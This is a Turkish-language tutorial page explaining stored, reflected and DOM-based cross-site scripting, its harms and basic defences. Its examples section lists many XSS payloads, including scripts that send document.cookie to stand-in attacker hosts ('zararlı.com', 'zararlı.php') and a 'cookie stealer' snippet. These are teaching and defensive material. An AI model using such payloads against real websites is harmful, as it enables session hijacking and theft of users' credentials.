Sen burayı gördün, başkası da görecek. Teklifini gönder, sitenin kahramanı ol.

Sponsor'un katkılarıyla...

XSS - Cross Site Scripting

XSS - Cross Site Scripting

XSS; (İksses okunur) Siteler Arası Betikleme (çapraz betikleme) anlamındadır. Açılımı Cross Site Scripting (kıros sayt sikripting okunuyor) olup CSS biçiminde de kısaltılır. Cross Site Scripting saldırı türünün birden fazla yöntemi olup nasıl gerçekleştirildiği, sonuçları ve karşı güvenlik önlemleri ayrıntılarıyla ve örnekleriyle anlatılıyor.

/ 02.07.2017?

XSS - Cross Site Scripting

Sponsor'un katkılarıyla...

Markanız için 300X300 alan.

Reklamı kapat görseli

Bu Cross Site Scripting sayfasının iyi anlaşılabilmesi için Aşılama Teorisi temeli anlaşılmış olmalı.

Cross Site Scripting sayfalarının uzunluğu gözünüzü korkutmasın. Mantığı anlayıp 2, 3 tane kuralı uyguladığınızda saldırıların neredeyse tamamını atlatmış sayılırsınız.


Cross Site Scripting saldırıları çok türlü olup genel mantığı burada anlatılıp örneklendirilmiştir.


Depolanmış XSS'e ve Yansıyan XSS'e karşı alınan önlemler sunucu tarafında gerçekleştirilmeli.


DOM Tabanlı XSS'e karşı ise özel bazı kurallar var.

XSS - Cross Site Scripting

XSS; (İksses okunur) Siteler Arası Betikleme (çapraz betikleme) anlamındadır. Açılımı Cross Site Scripting (kıros sayt sikripting okunuyor) olup CSS biçiminde de kısaltılır (Bu CSS farklı. Bu CSS (ya da XSS), Cascading Style Sheet ile karıştırılmasın). Cross Site Scripting saldırı türünün birden fazla yöntemi olup nasıl gerçekleştirildiği, sonuçları ve karşı güvenlik önlemleri ayrıntılarıyla ve örnekleriyle anlatılıyor.

DİKKAT !

BU SAYFA ÜÇ TÜR CROSS SITE SCRIPTING SALDIRILARI İLE İLGİLİ GENEL AMA AYRINTILI BİLGİ VERİR.

ÜÇ TÜR CROSS SITE SCRIPTING SALDIRISI DA AŞAĞI YUKARI AYNI YÖNTEMLE ENGELLENİR (BAZI KÜÇÜK AYRINTILARDA AYRIŞIRLAR)



BU SAYFA CROSS SITE SCRIPTING SALDIRILARININ TÜRLERİNİ ve BAZI ÖRNEKLERİ GÖSTERİR.


SONRAKİ SAYFA KARŞI ÖNLEMLERİ GÖSTERİR.


SONUNCU SAYFA ise (OLASI CROSS SITE SCRIPTING) SALDIRILARI(NI) GÖSTERİR.



CROSS SITE SCRIPTING ÖNLEMLERİNİ NEYE UYGULAMANIZ GEREKTİĞİNİ (SALDIRILARIN NASIL YAPILDIĞINI) GÖRMEK İÇİN

ÜÇLEMENİN SONUNCU SAYFASI OLAN XSS Saldırıları - XSS Hile Yöntemleri

SAYFASINI ZİYARET EDİN !


Cross Site Scripting kullanıcıya ya da sunucuya aşılama yöntemiyle saldırarak kullanıcının kesinlikle gizli kalması gereken verilerini çalmayı hedefleyen aşılama türünden bir saldırıdır.


Cross Site Scripting birbirinden farklı çok önemli sorunlara yol açan bir saldırı türüdür. Geleneksel ve de en tehlikeli türü, kurbanın oturum çerezleri çalınarak oturumun saldırgan tarafından ele geçirilmesidir.

Cross Site Scripting ayrıca sosyal ağlarda zarara yol açmak, zararlı yazılım (malware) yaymak, veb sitesi imlemek, kimlik bilgilerini çalmak için oltalama (phishing) yapmak ve hatta çalınan bu kimlik bilgilerini sosyal mühendislik yöntemleriyle yapılandırarak daha zararlı saldırılarda kullanmak amacıyla yapılabilir.

Cross Site Scripting saldırısı üç ana ulama ayrılır :

  • Depolanmış (Sürekli) (Stored (Persistent)) XSS,
  • Yansıyan (Reflected) XSS,
  • DOM Tabanlı XSS - DOM Based XSS.

XSS Saldırı Türleri / Depolanmış (Sürekli) (Stored (Persistent)) XSS

En büyük zararı veren XSS saldırısı yöntemidir. Zararlı kodun önce kayıt altına alınıp daha sonrasında çalıştırılmasını hedefler.

Buna tipik bir örnek olarak zararlı verilerin yorum kutusu gibi yerlere girilmesi gösterilebilir. Yorum olarak eklenen zararlı kod böylece aynı sayfa bir başkası tarafından ziyaret edildiğinde kurbanın tarayıcısı tarafından yorumlarla birlikte yüklenerek çalıştırılır.

XSS Saldırı Türleri / Yansıyan (Reflected) XSS

Açık ara en yaygın XSS saldırısı yöntemidir.

Zararlı kod istek ile birlikte sunucuya gönderilir ve böylece sunucudan dönen yanıtla birlikte gelen (sunucudan yansıyan) zararlı kod kurbanın tarayıcısında çalıştırılır.

Phishing e-mailler ve sosyal mühendislik yöntemleri kullanılarak, kullanıcının kandırılmasıyla sunucuya XSS için gerekenlerin gönderilmesini sağlayıp sunucudan dönen yanıtın kurbanın bilgisayarında çalıştırılmasını hedefler.

Yansıyan XSS sunucuda depolanmadığı için kurbanların ayrı ayrı saldırı altına alınması gerekir. Bunun için sosyal ağlar kullanılır.

XSS Saldırı Türleri / DOM Tabanlı (DOM Based) XSS

Gelişmiş seviyede bir XSS saldırısı yöntemidir.

Kullanıcıların bilgileri DOM'a (Belge Öge Modeli - Document Object Model) yazılırken gerçekleştirilen saldırı biçimidir.

Veriler DOM'a yazılırken özensiz davranılırsa zararlı kod saldırgan tarafından DOM'a aşılanabilir ve DOM'a yazma işlemi tamamlandığında zararlı veriler de diğerleriyle birlikte çalıştırılır.


DOM tabanlı XSS saldırısının en tehlikeli özelliği saldırı tarayıcı tarafında gerçekleştiğinden bu saldırılardan sunucunun bilgisi olmaz ve bu yüzden saldırıyı belirlemek ve böylece de önlem almak çok güçleşir.

DOM'u biçimlendiren ögeler arasında XSS koşulunun gerçekleşmesi için gereken bazı ögeler vardır. Bu ögelerden bazıları document.URL, location.hash ve document.referrer'dir.

Cross Site Scripting ile Neler Yapılabilir ? Zararları Nelerdir?

JavaScript ögeleri bir sayfada neler yapabiliyorsa Cross Site Scripting de aynılarını yapabilir. Buna çerezleri okumak da dahil. Çerezler e-maillerini okumak ve benzeri durumlar için giriş yapmış kullanıcının oturum verilerini tutar. Çerezler ele geçirilirse saldırganlar oturumu taklit edebilir.

JavaScript üzerinde çalıştığı belgede kendince değişiklikler yapabilir.

JavaScript XMLHttpRequest kullanarak kendi belirlediği bilgileri herhangi bir adrese gönderebilir.

JavaScript çağdaş tarayıcılardaki HTML5 API'lardan aldığı güçle kullanıcının coğrafi konumuna, veb kamerasına, mikrofonuna ve hatta dosya sistemindeki belirli dosyalara erişebilir. Bu API'ların çoğu kullanıcı etkileşimi gerektirdiğinden XSS ile akıllıca yapılan sosyal mühendislik iş birliği, saldırganlara fazlaca yol kat ettirir.


Bunlar; sosyal mühendislik kullanımıyla birlikte, çerez hırsızlığı, tuş dinleme (keylogging), oltalama (phishing) ve kimlik bilgisi hırsızlığı gibi ileri seviye saldırıları saldırganın gerçekleştirebilmesine olanak sağlar.

Cross Site Scripting Kullanıcıların Sorunu Değil Mi ?

Değil ! Eğer bir saldırgan yerlikte zararlı kod çalıştırabiliyorsa site güvenliği ve kullanıcı güvenliği ihlal edilmiştir. Kullanıcılar Cross Site Scripting ve benzeri sorunlardan etkileniyorlarsa yerlik de etkilenir. Bu da aynı diğer tüm güvenlik sorunları gibi kullanıcının sorunu değil, yerliğin sorunudur.

XSS Açıkları Nasıl Bulunur ve Kapatılır ?

Kaynak kodlara bakılarak, kullanıcıdan veri alınan tüm alanlar bulunarak uygun güvenlik önlemleri alınmalı. Sunucu tarafında ise HTTP Trace özelliği kapatılmalı. Kullanıcının bilgisayarında JavaScript ve hatta document.cookie kapatılmış olsa bile kullanıcının zararlı bir bağlantıya tıklaması sağlanarak çerez bilgileri sunucudan alınabilir.

Cross Site Scripting Nasıl Yapılır ?

Temelde oldukça kolaydır.


Bir sayfada yorum kutusuna bir kaç tümce yorum ile birlikte JavaScript kodları yerleştirilip bu yorum sunucuya gönderilir.

Yorum sunucuda onaylandığında artık herkese görünür duruma gelir.

O sayfa ziyaret edildiğinde sunucudan yorumlarla birlikte zararlı kodlar da kullanıcının tarayıcısına gelir ve çalıştırılır.


Saldırgan amacına ulaşmıştır. Saldırganın amacına ulaşamaması için güvenlik önlemi almış olmak zorunludur.

Cross Site Scripting Örnekleri Neler ?

<script>
    window.location=“http://zararlı.com/?çerez=” + document.cookie
</script>

<!-- Dış betik -->
<script src=http://zararlı.com/xss.js></script>

<!-- Gömülü betik -->
<script> alert("XSS"); </script>

<!-- onload özniteliği -->
<body onload=alert("XSS")>

<!-- background özniteliği -->
<body background="javascript:alert("XSS")">

<!-- <img> etiketi XSS -->
<img src="javascript:alert("XSS");">

<!--  Az bilinen öznitelikleri kullanan XSS -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

<!-- <iframe> etiketi XSS -->
<iframe src=”http://zararlı.com/xss.html”>

<!-- <input> etiketi XSS -->
<input type="image" src="javascript:alert('XSS');">

<!-- <link> etiketi XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">

<!-- <table> etiketi XSS -->
<table background="javascript:alert('XSS')">

<!-- <td> etiketi XSS -->
<td background="javascript:alert('XSS')">

<!-- <div> etiketi XSS -->
<div style="background-image: url(javascript:alert('XSS'))">

<!-- <div> etiketi XSS -->
<div style="width: expression(alert('XSS'));">

<!-- <object> etiketi XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

<!-- onerror özniteliği -->
<img src="http://var.olmayan.bir/dosya.url" onerror=alert(document.cookie);>

<!-- JavaScript şemasının encode ile kullanılması -->
<img SRC=j&#X41vascript:alert('test2')>

<!-- XSS Encode Kullanımı ile -->
<meta http-equiv="refresh"
content="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">


VBScript - default

Dil = Request.QueryString("lang")



Beklenen Davranış :

Bağlantı : https://SonDevrim.com/?lang=TR

Sonuç :
Dil = TR



Saldırgan Davranış :

Bağlantı : https://SonDevrim.com/?lang=<script>alert(document.cookie)</script>

Sonuç :
Dil = <script>alert(document.cookie)</script>

XSS Başarılı ! ...


Çerez çalıcı :

<script type="text/javascript">
var bulunak = '../zararlı.php?kurabiyeCanavarı=' + escape(document.cookie);
</script>

Bu kodun çalıştığı sayfada çerezler kurabiyeCanavarı sorgusuyla zararlı.php sayfasına gönderilecek. zararlı.php sayfasında bu veriler saldırgan tarafından kaydedilir, işlenir.

Reklamı kapat görseli

Görüş Bildirin?

Toplam Oy Sayısı : Şimdilik hiç oy verilmemiş.

Ortalama Oy Değeri : Verilen oyun geçerli olması için yapılan yorumun onaylanması gerekiyor.

Görüşler yükleniyor . . .

Yorum Ekle?

1000
XSS - Cross Site Scripting